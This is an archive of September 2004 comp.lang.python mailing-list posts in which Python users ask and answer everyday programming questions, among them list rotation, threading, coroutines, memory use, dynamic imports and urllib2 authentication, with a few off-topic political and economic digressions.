2004 From: ivoras at __-geri.cc.fer.hr (Ivan Voras) Date: Thu, 16 Sep 2004 17:13:25 +0200 Subject: Rotating lists? In-Reply-To: <4148c7d4$0$78753$e4fe514c@news.xs4all.nl> References: <4148c7d4$0$78753$e4fe514c@news.xs4all.nl> Message-ID: Irmen de Jong wrote: > This smells like a use-case for itertools.cycle: > > >>> import itertools > >>> c=itertools.cycle( [1,2,3] ) > >>> c.next() > 1 > >>> c.next() > 2 > >>> c.next() > 3 > >>> c.next() > 1 > >>> c.next() > 2 > > ... or is this not what you need to rotate your lists for? No, I don't need an (infinite) cycle, just the rotated list. But thanks, I didn't notice itertools before :) From kkt at drizzle.com Sat Sep 18 02:10:27 2004 From: kkt at drizzle.com (Patrick Scheible) Date: 17 Sep 2004 23:10:27 -0700 Subject: Xah Lee's Unixism References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <4140688e$0$6912$61fed72c@news.rcn.com> <4140A885.90B945AC@yahoo.com> <4jkqhc.p7p1.ln@via.reistad.priv.no> <1oh3k01cieht04nmfo27pvihg8teme0mdt@4ax.com> Message-ID: Alan Balmer writes: > On 14 Sep 2004 10:15:27 -0700, Patrick Scheible > wrote: > > >Chuck Dillon writes: > > > >> Coby Beck wrote: > >> > >> >> > >> >>And, of course, entertaining the possibility that his agenda is just > >> >>what he says it is, is completely out of the question. > >> > Not out of the question, be obviously untrue. > >> > >> Again, I'll point out that it is naive to put this entirely on the > >> administration. We're in Iraq because we effectively declared > >> war. The dance with the U.N. went on for some 3 months. It was clear > >> where we were headed. Our congress, including Kerry and all of the > > ^^^ > >Not all. I'm happy to say my representative and one of my senators > >voted against the resolution authorizing the war. > > > >Congress doesn't have its own intelligence service. If the > >administration claims to have clear evidence that a country has WMD > >there's only so much that a minority party in congress can do to find > >out if the administration is lying or engaged in wishful thinking. > > http://intelligence.house.gov/ > http://intelligence.senate.gov/ They have committees, they don't have independent intelligence-gathering ability. -- Patrick From janimal at mail.trillegaarden.dk Tue Sep 28 09:28:19 2004 From: janimal at mail.trillegaarden.dk (Ling Lee) Date: Tue, 28 Sep 2004 15:28:19 +0200 Subject: Problem with a dictionary program.... Message-ID: <415966e1$0$23075$ba624c82@nntp05.dk.telia.net> Hello. I'm trying to write a small program that lets you put in a number as an integer and then it tells you the textuel representation of the number. Like if your input is 42, it will say four two. I found out that I have to make a dictionary like this: List = { 1:"one", 2:"two" and so on ) and I have to use the raw_input method to get the number: indput : raw_input(" Tell me the number you want to transform to textuel representaion") The I have to transform the input to a string indput = str(indput) so that I can count how many decimals the number has, like 23 has 2 decimals and 3000 has 4 decimals. After I have gotten the lenght of the string, I will write a loop, that goes through the dictionary as many times as the lengt of the string, and the gives me the corresponding numbers, the numner 21 would go 2 times through the loop and give me the output two one Will one of you be so kind and tell me how I count the lengt of the indput number i was thinking on something like input.count[:] but that dosnt work... and how I make the loop. Im trying to understand dictionaries but have gotten a bit stuck... Thanks for all replies.... From hercules.rockefeller at springfield.??.us Tue Sep 28 11:18:09 2004 From: hercules.rockefeller at springfield.??.us (Rembrandt Q Einstein) Date: Tue, 28 Sep 2004 11:18:09 -0400 Subject: using threads with for-loops In-Reply-To: <3e96ebd7.0409280711.42ef328b@posting.google.com> References: <3e96ebd7.0409280711.42ef328b@posting.google.com> Message-ID: Klaus Neuner wrote: > Hello, > > I wrote a program that does essentially the following: > > for rule in rules: > for line in line_list: > line = my_apply(rule, line) > > line_list contains the lines of some input text. > > To "apply a rule" always means to > > 1. do some regex matches on line > 2. substitute something in line > > > My question is: Given this "architecture", does it make sense > to use threads? And if so, how? > > Klaus It depends on how many items are in rules and how long my_apply() takes. From deetsNOSPAM at web.de Sun Sep 12 10:24:31 2004 From: deetsNOSPAM at web.de (Diez B. Roggisch) Date: Sun, 12 Sep 2004 16:24:31 +0200 Subject: Mail extraction problem (something's wrong with split methods) References: Message-ID: > What should I actually post? The email text. Whatever the reason for the unexpected behaviour is, its in there. > Thank you very much Diez, I appreciate your help. Your welcome. -- Regards, Diez B. Roggisch From wjjeonk at hotmail.com Wed Sep 22 15:24:22 2004 From: wjjeonk at hotmail.com (Jay) Date: Wed, 22 Sep 2004 15:24:22 -0400 Subject: detecting variable types Message-ID: I'm sure this is a really dumb question, but how do you detect a variable type in Python? For example, I want to know if the variable "a" is a list of strings or a single string. How do I do this? From aaron.smgoh at gmail.com Sat Sep 18 08:17:49 2004 From: aaron.smgoh at gmail.com (Aaron) Date: 18 Sep 2004 05:17:49 -0700 Subject: How to run Excel Solver function from Python Message-ID: <9878481a.0409180417.366c3754@posting.google.com> I am trying to write a Python script file which analyses data in an iterative manner. During each iteration, I wish to utilise the Solver function in Excel to perform some constrained, non-linear fitting to the data. I have a VBA macro which runs the Solver, and am using self.xlapp = win32com.client.dynamic.Dispatch("Excel.Application") . . . self.xlapp.run(macro) I am using the Python script to interface with another software called ABAQUS and am executing the script through the ABAQUS Python interpreter (which is Python 2.0). Howvever, when I run the script I get the error 'Solver : An unexpected internal error has occurred, or available memory was exhausted' Could anyone please provide some explanation to this problem? The macro and Solver run fine if I don't call from the Python script. Thank you and any help is much appreciated. From godoy at ieee.org Fri Sep 24 16:36:53 2004 From: godoy at ieee.org (Jorge Godoy) Date: Fri, 24 Sep 2004 17:36:53 -0300 Subject: Don't let your babies grow up to be programmers References: <1095378815.31957.166.camel@devilbox.devilnet.internal> <278de0e.0409231337.1a032135@posting.google.com> Message-ID: alloydflanagan at comcast.net (A. Lloyd Flanagan) writes: > I think the real problem is not so much that foreign programmers are > paid less than US programmers. Instead I suspect the problem (from > our point of view) is that their cost of living is so much lower. If > I worked for the salary of an Indian programmer I would have no place > to live, no insurance, and would have a hard time buying food to take > back to my family living under a bridge. > > Meanwhile the Indian programmer is living like a king (more or less). > > This issue will impact a lot more professions than programming. It's > getting hard to find a function that can't be performed from the other > side of the world anymore. What the American economy can do to > respond to this I have no idea. Do you really think that the price of the things is really what it is worth in the US or that it is like that to keep these high salaries? ;-) I think that this is a cyclic thing: things are expensive because they cost more due to salaries and salaries are higher because things cost more. Here we had experience with several *thousands* of percents of inflation per year (something along the lines of 800% per month, prices went up every day). Now things are more stable. I don't know for how long... I hope forever :-) > On the other hand maybe we should all just move to India. We could > teach them how to play football (the real kind, not that soccer > stuff). You mean the one that has the 'foot' on the name but is played with the hands? ;-) It seems to me like there's a contradiction somewhere :-) Be seeing you, -- Godoy. From bokr at oz.net Fri Sep 17 05:21:10 2004 From: bokr at oz.net (Bengt Richter) Date: 17 Sep 2004 09:21:10 GMT Subject: too many self References: <4Kudnc-ZFdxUV9XcRVn-iA@powergate.ca> <10kjrvs2hmb19a5@corp.supernews.com> <1gk8aoc.1q5ydna134fs0hN%aleaxit@yahoo.com> <10kkc7hq9fuvt20@corp.supernews.com> <1gk90fg.qderxd1pfbq2dN%aleaxit@yahoo.com> Message-ID: On Fri, 17 Sep 2004 08:54:11 +0200, aleaxit at yahoo.com (Alex Martelli) wrote: >aurora wrote: > ... >> I'm not making any serious criticism on the language or how it should do >> name binding. I'm ranting about having to attach a prefix to names often >> make simple things look complicated. An annoyance when it has to be done >> very often. You got the point? > >No. If you had to "attach a prefix", it might perhaps be a problem. >But, in Python, you don't have to do any such thing. You use bare names >for locals, globals, and built-ins, and compound names for attributes of >objects. How can it "make simple things look complicated" to use a >compound name for an object attribute? It indicates exactly what's >going on: you're accessing or rebinding an attribute -- no more, no >less. Just like, e.g., x[i] is how you refer to an item of x, so is >x.foo how you refer to an attribute of x. > >If what you mean to say (as opposed to what you actually wrote) is to >support some kind of 'with' or 'using' statement, such as: > >with glek[idx]: > .total += .partial > .partial = current_time > .laps += 1 > >so that several accesses to, and rebindings of, attributes of the same >object, can be compactly and conveniently indicated, that, of course, is >quite a different issue, which has often been discussed in the past, >both here and on python-dev. Yet there isn't even a PEP for it, yet, I >believe -- a bad sign: it suggests nobody is keen enough on it to >summarize the case for and against and nail down the specs. I guess the >problem is that if you see this as equivalent to, say: > >_ = glek[idx]: >_.total += _.partial >_.partial = current_time >_.laps += 1 > >it's not all that clear that the with notation is buying you all that >much -- visually distinguishing that current_time is not an attribute >name is about as hard in both cases, for example, maybe a bit harder if >the hypothetical new construct were in use... and without said >hypothetical new construct you have a better chance to make your code >clearer by using a visually distinguished name rather than a notation >which appears to try to HIDE the crucial issue of which name are bare >ones, and which names are compound! > >Richer semantics for 'with'/'using' are of course possible, but harder >to pin down in detail, and even more controversial. Still, until >somebody DOES care enough, for or against, to come up with a PEP, rather >than rants on this NG, nothing much is going to happen re this idea. > It occurs to me that "with obj_expr:" selects a specific name space and access mechanism (attribute access, which looks through base classes for decriptors etc), whereas one could expand the concept of what the leading dot means as an access operation. E.g., the normal default spelled out might be with(glek[idx], dotop=with.attr): # with.attr would be a get/set pair for attributes .total += .partial ... Or you could limit yourself to an instance dict by alternate meaning for '.' access, e.g., with(vars(inst), dotop=with.item): # with.item would be get/set for items .total += .partial # meaning v=vars(inst); v['total'] += v['partial']; del v ... or you could specify a list of spaces to chase in explicit order, e.g., object attribute spaces: with(a,b,c): x = .xxx # a.xxx if avail, else b.xxx, else c.xxx, else AttributeError Anyway, you get the general idea. A way to spell out access to any alternative name space or search path through several. ;-) Regards, Bengt Richter From cmichaelbeck at hotmail.com Thu Sep 30 12:12:50 2004 From: cmichaelbeck at hotmail.com (mike beck) Date: 30 Sep 2004 09:12:50 -0700 Subject: Translate tab-delimited to fixed width text References: <_5OdnczZG-fE7s3cRVn-sQ@comcast.com> Message-ID: This is very cool and useful. Thanks for the help! > I tend to do this with classes. Then I can take > advantage of using the __str__ method to build the > output string. From rpm1deleteme at direcway.com Wed Sep 22 08:14:13 2004 From: rpm1deleteme at direcway.com (RPM1) Date: Wed, 22 Sep 2004 08:14:13 -0400 Subject: python is going to die! =( References: <10ksur1ou8hb777@corp.supernews.com> <2rafspF17n18jU1@uni-berlin.de> Message-ID: <2rd8hsF19b2sjU1@uni-berlin.de> "Toni Kantola" wrote ... > In article <2rafspF17n18jU1 at uni-berlin.de>, RPM1 wrote: > > I do notice though that when I try to convince a co-worker to try Python, > > the thing that seems to be the biggest turn off is the lack of an IDE with a > > GUI designer included standard. I guess my point is that the lack of a > > standard GUI designer is not going to bother people who know Python, but it > > will prevent some, (perhaps many), outsiders from ever knowing Python > > because they can't imagine programming without the IDE/GUI designer. I know > > there are GUI designers available, but by the time you begin to tell > > somebody that, they're already shaking their head and walking away. > > And you haven't tried kdevelop with qtdesigner? > Or some similar combination of GTK-based IDEs/tools? Is it available on Windows? Does one need to download 2 or 3 different packages with different licensing? If that's the case then it would be a hard sell in a Windows environment. Keeping in mind that it doesn't matter to *me* because I code my GUI's in Tkinter. It's when I try to convince co-workers that Python is worth looking into that I come across these objections. The product that came closest to what I'm envisioning was PythonWorks. It used the included Tkinter libraries and it was relatively expensive, (which for some strange reason makes it more trustworthy to Windows people). It was basically an all-in-one package. Unfortunately it's no longer available, (probably because Pythonistas are more likely to piece together what they want for free rather than pay hundreds of dollars to get one package). Oh well, hopefully IronPython will be a success. Patrick From domma at procoders.net Wed Sep 15 16:30:33 2004 From: domma at procoders.net (Achim Domma (Procoders)) Date: Wed, 15 Sep 2004 22:30:33 +0200 Subject: .py as executable extension on windows Message-ID: Hi, is there a way to tell windows, that *.py files are executable, like .bat, .js, ...? If I have someTool.py somewhere in my path I would like to type only 'someTool param1 param2'. Is that possible? regards, Achim From porky_pig_jr at my-deja.com Thu Sep 2 18:45:00 2004 From: porky_pig_jr at my-deja.com (Porky Pig Jr) Date: 2 Sep 2004 15:45:00 -0700 Subject: I think a problem occured when i used long() References: <8f17f4bc.0409011101.5ace996@posting.google.com> <56cfb0e3.0409011724.3e4c2111@posting.google.com> <7xisax8lbm.fsf@ruckus.brouhaha.com> Message-ID: <56cfb0e3.0409021445.204b2e8b@posting.google.com> Paul Rubin wrote in message news:<7xisax8lbm.fsf at ruckus.brouhaha.com>... > > The x86 supports 80 bit extended floats and I hope Python has a way to > use them (maybe with a build option). > Very interesting. Probably special C directive (unless something like 'extended float' is some kind of C (unofficial) standard. I'll check x86 architecture reference. Incidently, if I recall, the arguments against 'very high precision' was coming from scientists (e.g. those dealing with quantum mechanics issues) rather than from programmers. The main argument was that the measuring tools' precision is soo well below 53bit precision available as 'C double' that using anything higher than that will mistakenly create the impression of 'very high precision of the experiment' - but this is just it - *mistakenly*. > I'd had the impression that some of the PowerPC processors support 128 > bit floats, but I'm not sure of that. And it may be limited to IBM > workstation processors, not Macs. From graham.fawcett at gmail.com Thu Sep 30 20:41:14 2004 From: graham.fawcett at gmail.com (Graham Fawcett) Date: 30 Sep 2004 17:41:14 -0700 Subject: Reading a text file backwards In-Reply-To: References: Message-ID: <1096591274.689794.313540@k17g2000odb.googlegroups.com> It's just shifting the burden perhaps, but if you're on a Unix system you should be able to use tac(1) to reverse your file a bit faster: import os for line in os.popen('tac myfile.txt'): #do something with the line From aleaxit at yahoo.com Fri Sep 3 04:16:30 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Fri, 3 Sep 2004 10:16:30 +0200 Subject: initializing mutable class attributes References: <1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com> <1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com> <8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com> Message-ID: <1gjj7le.1t3oskg4omz04N%aleaxit@yahoo.com> Dan Perl wrote: > I really like this one. I think this 'defaultvalue' class even deserves to > be added as a builtin. It can even be changed to initialize non-empty > sequences. And I haven't tried that yet, but it should be able to > initialize an attribute with any kind of object that can be constructed with > no arguments. Too bad it works only for instance attributes in a class. As I posted on the other subthread, you can perfectly well use arguments in the call, too -- just add *args and **kwds to the descriptor's __init__ and use them when you later call the factory. This is an important patter in Python: whenever you design a callable X which accepts a callable Y as an argument, consider adding *args and **kwds to X's signature, stashing them away together with Y, and passing them back into Y when the time comes to call it. This can save users of X writing lambdas or def functions which have no reason to exist except fixing such parameters. > > I will be a good Pythoneer/Pythonista and I will invoke parent __init__'s > whenever using a library. My concern was not as a library user, but as a > library developer. In which case I don't like the idea of relying on users > to be good Python coders. If they don't follow good, normal coding practices there is really little you can do to save them from themselves. Surely nothing worth distorting all OO design to ensure every class can be meaningfully initialized without parameters, as I explained in another part of this thread. Alex From nospam at nowhere.hu Sat Sep 18 21:46:51 2004 From: nospam at nowhere.hu (Miklós) Date: Sun, 19 Sep 2004 03:46:51 +0200 Subject: How to go about developing in zope References: <4c900ea0.0409160754.2158e732@posting.google.com> <414a9787@pfaff2.ethz.ch> <4c900ea0.0409172108.5ed8b24d@posting.google.com> Message-ID: "john" wrote in message news:4c900ea0.0409172108.5ed8b24d at posting.google.com... > develop Zclasses for objects not already available > which in this application can be timesheet etc.... Am > I right?? Also how zope helps me to implement different kind of access > level for users(admin,apprver,employee)or I have to resort to plain > old relational database for it too?? I think Zope is pretty nice to develop this kind of application without using an RDBMS, a BTreeFolder can easily store a *lot* of objects, etc. Support for access levels are just great in Zope, fine grained, hierarchical, can be mapped out to external resources, etc. Sorry, not to really flame you but your questions are RTFM. Read the Zope book on zope.org Besides, like Josef pointed out, this is not the right place to ask about Zope, this is c.l.p. Best, Mikl?s From steven.bethard at gmail.com Wed Sep 29 14:50:09 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Wed, 29 Sep 2004 18:50:09 +0000 (UTC) Subject: interactive help on string functions - howto References: <415aede9$0$24598$ba620e4c@news.skynet.be> Message-ID: George Yoshida dynkin.com> writes: > > I have to say this error message is really annoying. You can't > guess what went wrong from it. Yeah, maybe it would be clearer if it said something like "No Python documentation found for module, keyword or topic 'rstrip'" That would make it clearer that you can only use a string if the string is the name of a module, keyword or a topic (not a function like the OP's example). STeve From fuzzyman at gmail.com Tue Sep 28 11:42:03 2004 From: fuzzyman at gmail.com (Michael Foord) Date: 28 Sep 2004 08:42:03 -0700 Subject: OWA (Outlook Web Access) with urllib2 References: <878yaya3m1.fsf@pobox.com> <87r7onwft6.fsf@pobox.com> Message-ID: <6f402501.0409280742.5a57e4ee@posting.google.com> pascal.parent at free.fr (Pascal) wrote in message news:... > Effectively, if you look at http://python.org/2.4/NEWS.html you can > see that > urllib2 now recognizes Basic authentication even if other > authentication schemes are offered. > > In LiveHTTPheaders/Firefox debug, there is > WWW-Authenticate: Negotiate > WWW-Authenticate: NTLM > WWW-Authenticate: Basic realm="owa.mydomain" > and the basic authentification is the last proposed. > > So now, how can I force basic authentification with urllib2 (without > using Python 2.4a)? You can do manual basic authentication. See http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/305288 Regards, Fuzzy http://www.voidspace.org.uk/atlantibots/pythonutils.html From harry.g.george at boeing.com Tue Sep 7 12:19:49 2004 From: harry.g.george at boeing.com (Harry George) Date: Tue, 7 Sep 2004 16:19:49 GMT Subject: How to actually write a program? References: Message-ID: "Nick Evans" writes: > Hello there, > I have been on and off learning to code (with python being the second > language I have worked on after a bit of BASIC). What I really want to know > is, if you are going to actually write a program or a project of some sort, > how do you actually start. > > Picture this, you know what you want the program to do (its features), you > have a possably rough idea of how the program will work. You have opened an > empty text file and saved it as 'mykewlprogram.py' and now your sitting in > front of an empty text file... Now then.... where do I start. > > Any ideas about this problem :-) > > Ta > Nick > > 1. This problem comes up even for experienced programmers. You may have done project planning, data models, UML diagrams, GUI story boards, test suites, etc. Yet one day you need to mentally shift gears and actually write code. A more experienced programmer will have done some prototyping while working out the requirements and specs, but even then it is a difficult mental transition. 2. For a total novice, get one of the tutorial books (e.g., "Learning Python" or "The Quick Python Book") and follow through a few of the examples. Don't do all the examples. All you need from this phase is confidence that you can write working code, and general awareness of the existence of language features. ("Yep, I know Python has exceptions. Don't know how they work exactly, but I know they are there.") You can learn the details when you need them. Traditionally this exercise is done as a "hello, world" program, with gradually increasing complexity as you tack on more and more language features. It can be the most frustrating program to write in any language. The problems are mostly "stupid mistakes" -- that is a normal part of learning new languages. [It is also a normal part of advanced programming, which is why test suites and peer reviews are so powerful.] 3. Once you can do "hello, world" stuff, then tackle your project. Assume your first effort will be a bad design, so plan to "write one to throw away". Even if the app eventually is a GUI app, start with a batch processing approach. Do this by doing a reader/writer process around the data model. The "model" (from model-view-controller) is a class with a few attributes. The controller is a class that has a sequence of those class objects, a method to read an input file to load that sequence, and a method to write the sequence back out. In fancier settings, there might be persistence via a database or pickle, or the input and output may be XML or csv. But for starters, just use a line-per-record file with ":" field separators. 4. Once the "model-controller" is working, it is time to set up a proper project. One approach is my mkpythonproj at: http://www.seanet.com/~hgg9140/comp/index.html However you do it, you need a project with documentation, testsuites, and a setup.py for sdist tarballs. Put it under config control (e.g., cvs or svn). You may want to factor out the "model" and "controller" to separate modules. You are also ready to read good code examples, so scan "Python Cookbook" and other resources. Once the project is established, you can begin adding more complexity to the "model". More classes, more attributes, more interlationships, edit routines, etc. Maybe add more import/export mechanisms (pickle, csv, XML, etc.). 5. If there is to be a gui ("view"), storyboard (sketch on paper) a few of the dialogs you will need to drive the "controller" methods. Assume 1 dialog per model class, plus a tree or list widget representing the controller's sequence or dictionary of data. You must decide which toolkit to use. Tkinter, wxPython, PyQt, PyGTK are the main contenders. Now, set aside all the work you've done so far and concentrate on learning the GUI toolkit. Get a main window working, with menus, file open/close, exit. The file open/close of course call the file reader/writer you already have working. Next build a dialog to edit one of the classes, using the same edit routines you have already developed. Hook the dialog to the "edit" submenu. Tag the release in your config control system, and make a tarball (version 0.1). 6. By now you have a much better grasp of the project, the language and the available libraries. It is time to rethink the project. Print out the code ("enscript --line-numbers --landscape" is a good choice). Read it. Do this mental exercise: You have an opportunity to work on a wonderful new project, if only you can train a replacement for maintaining the current project. If you fail to train the replacement, of if they leave in disgust, you are doomed to maintain your own code forever. What can be done to make the handoff painless? Refactor? More systematic approach to method naming? Better "developer's guide" documentation? Move hard-coded values to tables, config files, dictionary lookups? I find that on some projects, I can fix the code in situ. Most times, I just make a whole new project and start fresh. Either way, the target is code clean enough to be a pleasure to read and maintain. -- harry.g.george at boeing.com 6-6M21 BCA CompArch Design Engineering Phone: (425) 342-0007 From zanesdad at bellsouth.net Wed Sep 29 14:23:22 2004 From: zanesdad at bellsouth.net (Jeremy Jones) Date: Wed, 29 Sep 2004 14:23:22 -0400 Subject: multiple instance on Unix In-Reply-To: References: Message-ID: <415AFD9A.80503@bellsouth.net> Batista, Facundo wrote: > > #- If so, you could do something like this: > #- > #- import time > #- import os > #- waiting_for_lock = 1 > #- > #- while waiting_for_lock: > #- try: > #- os.mkdir('/tmp/foo') > #- waiting_for_lock = 0 > #- except OSError: > #- print "could not create directory" > #- time.sleep(1) > #- #do whatever you need one and only one process to do... > > If you don't have the permissions to write in /tmp this will fail. > > . Facundo > Actually, it won't. It'll keep spinning and spinning and will never acquire the lock. You won't have _any_ processes stepping on each other :-) Of course, you are correct. This was just a simple piece of example code. I left it to the OP to figure out what directory he can and can't write in and adjust accordingly - if he even desired to use this example at all..... Jeremy Jones -------------- next part -------------- An HTML attachment was scrubbed... URL: From fakeaddress at nowhere.org Sat Sep 18 00:51:24 2004 From: fakeaddress at nowhere.org (Bryan Olson) Date: Sat, 18 Sep 2004 04:51:24 GMT Subject: Microthreads without Stackless? In-Reply-To: <8cf9f521.0409171009.142a3fcd@posting.google.com> References: <18282ecb.0409120634.5ba044ee@posting.google.com> <18282ecb.0409151755.47b691e2@posting.google.com> <8cf9f521.0409162213.105d321e@posting.google.com> <8cf9f521.0409171009.142a3fcd@posting.google.com> Message-ID: David Mertz, Ph.D. wrote: > Yeah... I know Bryan thinks that's a problem. Mostly because he > doesn't actually know what a coroutine is. But it's true that the > scheduled coroutines I present in the mentioned article are always > "flat" (hmm... didn't I read somewhere that: "Flat is better than > nested"?) Any chance, at this point, that I could get forgiveness for my tone, yet continue the discussion? I misunderstood the nature of the articles, and the way I put things was inappropriate for this forum. I particularly apologize for my first sentence in this thread; that was no way to talk about a Python enthusiast. > But that's actually just what coroutines ARE. Bryan seems to want > some kind of hybrid between actual coroutines and a call stack. Which > isn't necessarily bad. And is probably something various > languages--like Perl 6--do support. I'm genuinely surprised to find we disagree on what constitutes coroutine or micro/weightless threads. I really did read David's articles, and I thought I was with him on that. The article he cited brings up the distinction "Coroutines And Semi- coroutines", and I think it implies that full co-routines are not limited to a single level. Perl 6 does/will support what I think of as coroutines, as do a number of other languages. Perl 6 features continuations, which are even more powerful and open new cans of worms. > It might also be something that your greenlets support. It looks like > an interesting project, and I'll have to take a look at it soon, and > maybe do an article on them. But I suspect that even there, Bryan > won't get everything he wants with his additional constraint that he > not have to "change any code." I'd be happy to see Greenlets, or the equivalent, become a standard part of Python. My constraint isn't as strong as that I not have to change any code; I want to limit and localize the effort. > [...] I'll > point out that my coroutine schedules probably does require a > little reorganization of more traditional call-chain code. [...] > That won't work with my generator/coroutines using a scheduler. > 'child()' can only yield one level up, not arbitrarily. But you > can "flatten" the exact same flow by making it: [...] The extent and nature of the reorganization is the center of the issue. Modern programs have to handle events from multiple sources at once. I'd argue that generators offer, at best, a modest improvement over the state-machine method. I vastly prefer the process/thread/stackful-coroutine approach, and I'm prepared to give reasons why. -- --Bryan From john at grulic.org.ar Wed Sep 15 13:59:45 2004 From: john at grulic.org.ar (John Lenton) Date: Wed, 15 Sep 2004 14:59:45 -0300 Subject: optimizing memory utilization In-Reply-To: References: Message-ID: <20040915175945.GA18887@grulic.org.ar> On Tue, Sep 14, 2004 at 04:39:49AM +0000, Anon wrote: > Hello all, > > I'm hoping for some guidance here... I am a c/c++ "expert", but a > complete python virgin. I'm trying to create a program that loads in the > entire FreeDB database (excluding the CDDBID itself) and uses this > "database" for other subsequent processing. The problem is, I'm running > out of memory on a linux RH8 box with 512MB. The FreeDB database that I'm > trying to load is presently consisting of two "CSV" files. The first file > contains a "list" of albums with artist name and an arbitrary sequential > album ID an the CDDBID (an ascii-hex representation of a 32-bit value). > The second file contains a list of all of the tracks on each of the > albums, crossreferenced via the album ID. When I load into memory, I > create a python list where each entry in the list is itself a list > representing the data for a given album. The album data list consists of > a small handful of text items like the album title, author, genre, and > year, as well as a list which itself contains a list for each of the track > on the album. > > [[, '', '', '','', > [["Track1", 1], ["Track2", 2], ["Track3", 3], ..., ["TrackN",N]], > [, '', '', '','', > [["Track1", 1], ["Track2", 2], ["Track3", 3], ..., ["TrackN",N]], > ... > [, '', '', '','', > [["Track1", 1], ["Track2", 2], ["Track3", 3], ..., ["TrackN",N]]]] silly question: have you looked into using tuples instead of lists for the inner objects? They're supposed to be more memory efficient, although I have found that that isn't necessarily the case. -- John Lenton (john at grulic.org.ar) -- Random fortune: You're a card which will have to be dealt with. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 196 bytes Desc: Digital signature URL: From anonymous at dontemailme.com Sat Sep 25 17:26:40 2004 From: anonymous at dontemailme.com (OctoberSnake) Date: Sat, 25 Sep 2004 17:26:40 -0400 Subject: Dynamic Import Message-ID: Can I import modules dynamically? Say for example I wanted the user to specify what module my script would import, how to do this? - OctoberSnake From vze4rx4y at verizon.net Wed Sep 15 00:12:04 2004 From: vze4rx4y at verizon.net (Raymond Hettinger) Date: Wed, 15 Sep 2004 04:12:04 GMT Subject: Best way to compare the contents of two directories References: <95c29a5e.0409111640.6980271f@posting.google.com><95c29a5e.0409131037.430cbce8@posting.google.com> Message-ID: > > I'm using ActivePython 2.2.3. Is this something that has been added > > to a later version of Python? > > I think sets were added in 2.3, but either way you must still 'from sets > import Set' before using them. Right. Also, sets.py is now Py2.2 compatibility, so you can take the current module off of CVS and use it directly. Raymond Hettinger From fredrik at pythonware.com Tue Sep 7 11:54:38 2004 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 7 Sep 2004 17:54:38 +0200 Subject: python from Java References: <1094551272.413d86e88ab2a@www-mail.usyd.edu.au> Message-ID: >> okay i tried the above approaches but no luck. See the problem is an XML >> parser which works on a PDA - pythonce. Now elementtree uses pyexpat >> (which pythonce doesn't have) > > that's why ElementTree ships with several alternative tree builders. by the way, it's trivial to build trees from arbitrary SAX-style sources. just create an instance of the ElementTree.TreeBuilder class, and call the "start", "end", and "data" methods as appropriate. builder = ElementTree.TreeBuilder() builder.start("tag", {}) builder.data("text") builder.end("tag") elem = builder.close() From luismg at gmx.net Wed Sep 29 18:41:29 2004 From: luismg at gmx.net (Neuruss) Date: 29 Sep 2004 15:41:29 -0700 Subject: List comprehensions performance Message-ID: <278de0e.0409291441.4ef0a859@posting.google.com> I have a doubt regarding list comprehensions: According to Mark Lutz in his book Learning Pyhon: "...there is currently a substantial performance advantage to the extra complexity in this case: based on tests run under Python 2.2, map calls are roughly twice as fast as equivalent for loops, and list comprehensions are usually very slightly faster than map. This speed difference owes to the fact that map and list comprehensions run at C language speed inside the interpreter, rather than stepping through Python for loop code within the PVM." but I also read in Python Performance Tips by Skip Montanaro that Lists comprehensions are not generally faster than the for loop version. What I'd like to know is if using list comprehensions would give me a performance advantage over traditional for loops or not. I'm getting fond of list comprehensions, but I wonder if it's wise to abuse of them... From uthand at hotmail.com Wed Sep 15 08:15:31 2004 From: uthand at hotmail.com (Fritz Bosch) Date: 15 Sep 2004 05:15:31 -0700 Subject: up with PyGUI! References: <2qq5adF133c5kU1@uni-berlin.de> Message-ID: Greg Ewing wrote: ... > There wouldn't be much to see in the screenshots anyway. > On a Mac it looks like anything else does on a Mac, and > on Linux or Windows it (currently) looks like anything > else that uses Gtk. Being built with PyGUI using Gtk using Gimp, does my application become subject to the GPL? Fritz From chotty at freenet.de Thu Sep 30 13:41:42 2004 From: chotty at freenet.de (Christian Otteneuer) Date: Thu, 30 Sep 2004 19:41:42 +0200 Subject: [Zope] How to filter and sort PropertyObjects from ZCatalog References: Message-ID: > Now, I want to filter out all PropertyObjects, which have 'priority == 0' For the 'filter problem', I found a possibility: result = (map( lambda brain: brain.getObject(), filter(lambda x: x.getObject().getProperty('priority')>0, container.Catalog.searchResults()))) Stays the 'sort problem'... From listserver at tdw.net Wed Sep 8 14:17:26 2004 From: listserver at tdw.net (Tim Williams) Date: Wed, 8 Sep 2004 19:17:26 +0100 Subject: Machine identification References: <1gjt2sn.1mxhb1n12y29cuN%aleaxit@yahoo.com><1gjt4u3.qme0dh1ucx3ybN%aleaxit@yahoo.com> Message-ID: <000401c495d0$182683d0$ccbefea9@twilliams> On Wed, 8 Sep 2004 12:59:57 -0500, Greg Lindstrom wrote: > How can I get the name (or ip) of the machine where my python script is > running? I'd like to add it to my log entry. import socket print socket.gethostname() print socket.getfqdn() this_host = socket_gethostname() print socket.gethostbyname(this_host) # the following will give several IP addresses if you are #multi-homed print socket.gethostbyname_ex(this_host) From bokr at oz.net Thu Sep 23 16:24:35 2004 From: bokr at oz.net (Bengt Richter) Date: 23 Sep 2004 20:24:35 GMT Subject: Why not FP for Money? References: Message-ID: On Thu, 23 Sep 2004 16:27:29 -0300, Carlos Ribeiro wrote: >On 23 Sep 2004 15:08:53 -0400, Aahz wrote: >> Not sure of precise syntax (haven't tried 2.4 yet), but this should >> work: >> >> a = decimal.from_float(35.72) > >I have downloaded 2.4, but couldn't install it yet. But the release >notes states that, after long discussions, support for >Decimal.from_float() was removed from the release, due to people being >unable to reach a consensus on the precision to be used in the >conversion. > >The problem is (to put it really simply) that 35.72 isn't really 35.72, it is: > >32.719999999999999 > >What should from_float do? Truncate it to 2 digits isn't possible -- >the fact that the literal was written with two digits was lost in the >innards of the lexical analyzer long before from_float() is called. >And to represent it internally as 32.719999999999999 will cause >surprises for most people; but to truncate it arbitrarily is also >problematic. So it was removed (that's what the release notes states, >anyway) What I did in my exact decimal toy was mandate a rounding position parameter (or 'all' which captures all available bits of the fp value): >>> from ut.exactdec import ED >>> ED(35.72, 2) ED('35.72') >>> 